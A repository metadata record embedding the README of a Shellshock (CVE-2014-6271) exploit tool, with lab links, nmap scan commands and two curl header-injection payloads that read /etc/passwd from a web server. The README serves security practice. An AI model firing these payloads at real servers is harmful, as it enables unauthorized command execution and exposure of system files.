{"id":20847278,"url":"https://github.com/jsmoreira02/cve-2014-6271","last_synced_at":"2025-03-12T11:43:17.822Z","repository":{"id":179607576,"uuid":"660860952","full_name":"Jsmoreira02/CVE-2014-6271","owner":"Jsmoreira02","description":"Exploitation of \"Shellshock\" Vulnerability. Remote code execution in Apache with mod_cgi","archived":false,"fork":false,"pushed_at":"2024-09-22T08:52:09.000Z","size":31,"stargazers_count":0,"open_issues_count":0,"forks_count":0,"subscribers_count":1,"default_branch":"main","last_synced_at":"2025-01-19T05:38:08.168Z","etag":null,"topics":["cve-2014-6271","exploit","hacking","python3","reverse-shell","shellshock-vulnerability","web-exploitation"],"latest_commit_sha":null,"homepage":"","language":"Python","has_issues":true,"has_wiki":null,"has_pages":null,"mirror_url":null,"source_name":null,"license":null,"status":null,"scm":"git","pull_requests_enabled":true,"icon_url":"https://github.com/Jsmoreira02.png","metadata":{"files":{"readme":"README.md","changelog":null,"contributing":null,"funding":null,"license":null,"code_of_conduct":null,"threat_model":null,"audit":null,"citation":null,"codeowners":null,"security":null,"support":null,"governance":null,"roadmap":null,"authors":null,"dei":null,"publiccode":null,"codemeta":null}},"created_at":"2023-07-01T03:50:02.000Z","updated_at":"2024-09-22T08:52:12.000Z","dependencies_parsed_at":"2025-01-19T05:38:13.312Z","dependency_job_id":"814a0f8e-0076-4483-8024-3526447999da","html_url":"https://github.com/Jsmoreira02/CVE-2014-6271","commit_stats":null,"previous_names":["joaopedromoreira02/cve-2014-6271","j0hnth3kn1ght/cve-2014-6271","jsmoreira02/cve-2014-6271"],"tags_count":0,"template":false,"template_full_name":null,"repository_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Jsmoreira02%2FCVE-2014-6271","tags_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Jsmoreira02%2FCVE-2014-6271/tags","releases_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Jsmoreira02%2FCVE-2014-6271/releases","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/Jsmoreira02%2FCVE-2014-6271/manifests","owner_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners/Jsmoreira02","download_url":"https://codeload.github.com/Jsmoreira02/CVE-2014-6271/tar.gz/refs/heads/main","host":{"name":"GitHub","url":"https://github.com","kind":"github","repositories_count":243213867,"owners_count":20254879,"icon_url":"https://github.com/github.png","version":null,"created_at":"2022-05-30T11:31:42.601Z","updated_at":"2022-07-04T15:15:14.044Z","host_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories","repository_names_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repository_names","owners_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/owners"}},"keywords":["cve-2014-6271","exploit","hacking","python3","reverse-shell","shellshock-vulnerability","web-exploitation"],"created_at":"2024-11-18T02:19:32.488Z","updated_at":"2025-03-12T11:43:17.797Z","avatar_url":"https://github.com/Jsmoreira02.png","language":"Python","funding_links":[],"categories":[],"sub_categories":[],"readme":"\u003cdiv aling=\"center\"\u003e\n\n  \u003cimg src=\"https://github.com/Jsmoreira02/CVE-2014-6271/assets/103542430/ee3f79ee-67c6-4b72-ae82-263a5d5d5ffc\"\u003e\n    \n  \u003cimg src=\"https://img.shields.io/badge/Language%20-Python3-blue.svg\" style=\"max-width: 100%;\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/CVE%20-Shellshock-cyan.svg\" style=\"max-width: 100%;\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Target OS%20-Linux-yellow.svg\" style=\"max-width: 100%;\"\u003e\n  \u003cimg src=\"https://img.shields.io/badge/Exploit%20-teste?style=flat-square\" style=\"max-width: 100%;\"\u003e  \n  \u003cimg src=\"https://img.shields.io/badge/Type%20-Script-red.svg\" style=\"max-width: 100%;\"\u003e\n\u003c/div\u003e\n\n\n# Shellshock Exploitation (CVE-2014-6271)\n\nShellshock is effectively a Remote Command Execution vulnerability in BASH. This script exploits the vulnerability in the web environment on apache or similar with mod_cgi enabled. The vulnerability lies in the manipulation of environment variables, which are dynamic named values that impact how processes run on a computer. Attackers can exploit this by attaching malicious code to environment variables, which is executed upon receiving the variable. This allows attackers to potentially compromise the system.\n\n\n### Lab for vulnerability testing\n\n- [PentesterLab](https://www.vulnhub.com/entry/pentester-lab-cve-2014-6271-shellshock,104/)\n- [VulnHub](https://www.vulnhub.com/entry/sumo-1,480/)\n- [TryHackMe](https://tryhackme.com/room/0day)\n\n  ![Vídeo2](https://github.com/Jsmoreira02/CVE-2014-6271/assets/103542430/b9da536f-2cbe-4c47-9ea1-bfbc07f610f2)\n\n#\n\n\n#### Find CGI-BIN pages:\n```bash\n$ nmap 192.168.x.x --script=http-shellshock --script-args uri=/cgi-bin/admin.cgi\n$ nmap -sV -p- --script http-shellshock 192.168.x.x\n$ nmap -sV -p- --script http-shellshock --script-args uri=/cgi-bin/bin,cmd=ls 192.168.x.x\n```\n\n#### Manual test:\n```bash\nsudo curl -H \"User-Agent: () { :; }; /bin/cat /etc/passwd\" \u003cWEBSERVER-IP\u003e\nsudo curl -A \"() { :;}; echo Content-Type: text/html; echo; /bin/cat /etc/passwd;\" \u003cWEBSERVER-IP\u003e\n```\n\n\n\n# Warning:    \n\u003e I am not responsible for any illegal use or damage caused by this tool. It was written for fun, not evil and is intended to raise awareness about hacking and cybersecurity\n\n\n***Good Hacking :)***\n","project_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjsmoreira02%2Fcve-2014-6271","html_url":"https://awesome.ecosyste.ms/projects/github.com%2Fjsmoreira02%2Fcve-2014-6271","lists_url":"https://awesome.ecosyste.ms/api/v1/projects/github.com%2Fjsmoreira02%2Fcve-2014-6271/lists"}